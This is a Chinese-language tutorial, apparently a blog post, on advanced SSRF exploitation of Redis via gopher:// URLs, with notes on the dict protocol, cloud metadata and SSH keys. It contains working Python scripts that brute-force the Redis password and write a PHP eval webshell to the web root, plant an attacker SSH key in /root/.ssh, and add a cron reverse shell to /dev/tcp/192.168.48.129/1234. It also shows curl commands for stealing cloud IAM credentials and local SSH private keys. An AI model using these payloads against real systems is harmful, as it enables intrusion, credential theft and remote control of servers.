SSRF进阶
前言:主要参考了https://www.freebuf.com/articles/web/263556.html这篇文章
Redis服务
基础概念:
Redis是一个开源的、基于内存的数据结构存储系统,默认端口6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。
RESP协议
Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。
RESP实际上是一个支持以下数据类型的序列化协议:Simple Strings(简单字符串),error(错误),Integer(整数),Bulk Strings(多行字符串)和 array(数组)。
数据类型
Simple Strings
格式:+ 后跟字符串,以 \r\n 结尾
示例:+OK\r\n
用于服务器返回简单状态信息,如 +OK、+PONG
错误 (Errors)
格式:- 后跟错误类型和消息,以 \r\n 结尾
示例:-ERR unknown command 'foobar'\r\n
与简单字符串类似,但客户端应将其视为错误
整数 (Integers)
格式:: 后跟数字,以 \r\n 结尾
示例::1000\r\n
用于返回整数,如 INCR 命令的返回值
批量字符串 (Bulk Strings)
格式:$ 后跟字符串长度,然后是 \r\n 和实际字符串,以 \r\n 结尾
示例:$6\r\nfoobar\r\n
用于传输二进制安全的字符串,最大长度512MB
空字符串表示为 $0\r\n\r\n
NULL 值表示为 $-1\r\n
数组 (Arrays)
格式:* 后跟元素数量,然后是各元素,以 \r\n 结尾
示例:*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n
用于表示命令和多个返回值
空数组表示为 *0\r\n
NULL 数组表示为 *-1\r\n
示例
解析
最上面4行是客户端自动请求服务器信息,服务器提示我们需要认证,我们就从我们自己发送的认证信息开始分析。
*2 #数组 长度为2
$4 #多行字符串 长度为4
auth #认证
$6 #多行字符串 长度为6
123456 #密码123456
+OK #服务器返回 普通字符串 OK,表示成功
*3 #数组 长度为3
$3 #多行字符串 长度为3
set #设置key
$3 #多行字符串 长度为3
ATL #key为ATL
$5 #多行字符串 长度为5
Ocean #velue为Ocean
+OK #服务器返回 普通字符串 OK,表示成功
以上命令通过url编码后就可以通过curl和gopher协议发送给Redis服务器如;
curl
gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
攻击Redis
攻击Redis一般有 3种思路:
在web目录写webshell
在.ssh目录写公钥,利用私钥登录ssh
利用定时任务反弹shell
在攻击redis时如果配置中设置了监听本机ip,我们就可以远程访问6379端口与redis通信,但一般只会监听本地端口,这时候我们就要利用SSRF(在有ssrf漏洞发页面将数据进行两次URL编码发送)
默认redis不设置密码,但是如果设置了密码就需要爆破。
#password.txt字典放在同目录下
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen
url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"
def get_password():
f = open("password.txt", "r")
return f.readlines()
def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder
for password in get_password():
# 攻击脚本
cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
print(payload)
# 发起请求
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
exit()
print("Password not found!")
print("Please change the dictionary,and try again.")
web目录写webshell
redis如何写入文件:redis可以导出当前数据库的key和value,并且可以通过配置导出路径和文件名
config set dir /var/www/html//设置导出路径
config set dbfilename shell.php//设置导出文件名
save //执行导出操作
所以我们可以
把一个key的值设为一句话木马
配置导出路径为web目录
导出文件名为php文件
来在web目录下写入webshell
获取到密码后再加上一段写入shell的脚本:
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen
url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"
def get_password():
f = open("password.txt", "r")
return f.readlines()
def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder
###------暴破密码,无密码可删除-------###
for password in get_password():
# 攻击脚本
path = "/var/www/html/test"
shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
filename = "shell.php"
cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
print(payload)
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
#####---------------如无密码,直接从此开始执行---------------#####
cmd = """
auth %s
config set dir %s
config set dbfilename %s
set test1 "%s"
save
quit
""" % (password, path, filename, shell)
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 5:
print("Write success!")
exit()
else:
print("Write failed. Please check and try again")
exit()
#####---------------如无密码,到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")
之后用蚁剑或者菜刀远程连接就行
写入公钥,利用私钥登录ssh
需要确保靶机允许使用密钥登录。
开启方法:需要修改 ssh 配置文件 /etc/ssh/sshd_config
#StrictModes yes
改为
StrictModes no
然后重启sshd即可
/bin/systemctl restart sshd.service
生成一对公钥和私钥:ssh-keygen -t rsa
之后在/.ssh目录下,就能看到生成的公钥和私钥了
公钥内容
sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
路径改为:/root/.ssh
写入公钥内容
文件名改为:authorized_keys
path= "/root/.ssh" #路径
shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n"
filename= "authorized_keys" #文件名
运行脚本之后就能免密登录靶机了
利用定时任务反弹shell:
通过nc监听端口
靶机执行
linux下通过输入输出流来反弹shell:
/bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1
攻击机
写入定时任务
path = "/var/spool/cron/crontabs" #路径
shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n"
filename = "root" #文件名
一些基础概念
Gopher协议
Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持
协议特点
基于TCP,默认端口70
支持多行命令
可以构造任意的TCP数据包
常用于攻击Redis、MySQL、Memcached等内网服务
在SSRF中的作用
Gopher是SSRF中最危险的协议之一,因为:
可构造任意TCP请求(如Redis、MySQL命令)
绕过HTTP限制(HTTP只能单行请求,Gopher可多行)
攻击内网未授权服务(如Redis未授权访问)
攻击示例(Redis未授权访问)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a
解码后相当于向Redis发送( SET 1 1)
Dict协议
Dict用于查询字典定义,默认端口2628
协议特点
主要用于查询单词定义
可以探测端口开放情况
某些实现允许执行简单命令
在SSRF中的作用
端口扫描(检查内网服务是否开放)
dict://127.0.0.1:6379/
如果 Redis 开放,会返回 -ERR unknown command。
获取服务信息
dict://127.0.0.1:2628/info
某些服务(如Redis)会返回版本信息
curl
curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)
用途 | 命令示例 | 注释 |
GET 请求 |
| |
POST请求 |
| -X:指定 HTTP方法 -d:发送POST数据(表单格式) |
发送JSON |
|
|
查看请求和响应头 |
| |
仅查看响应头 |
| |
保存输出到文件 |
|
|
跟随重定向 |
|
|
常见内网IP段
局域网地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
AK/SK
云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥
常见云服务AK/SK:
AWS:AKIAxxxxxxxxxxxxxxxx
阿里云:LTAIxxxxxxxxxxxxxxxx
腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
利用技巧
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
不同云厂商的元数据端点:
AWS: 169.254.169.254
阿里云: 100.100.100.200
腾讯云: metadata.tencentyun.com
临时凭证使用
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test
SSH
SSH密钥类型:RSA、DSA、ECDSA、Ed25519
常见位置:
~/.ssh/id_rsa (私钥)
~/.ssh/authorized_keys (公钥授权文件)
/etc/ssh/ssh_host_*_key (主机密钥)
利用技巧
1.读取本地文件获取SSH密钥:
curl file:///home/user/.ssh/id_rsa
通过gopher协议利用SSH:
构造SSH协议流量攻击内网SSH服务
利用已知漏洞或弱密码尝试登录
利用known_hosts文件
获取内网主机信息
分析信任关系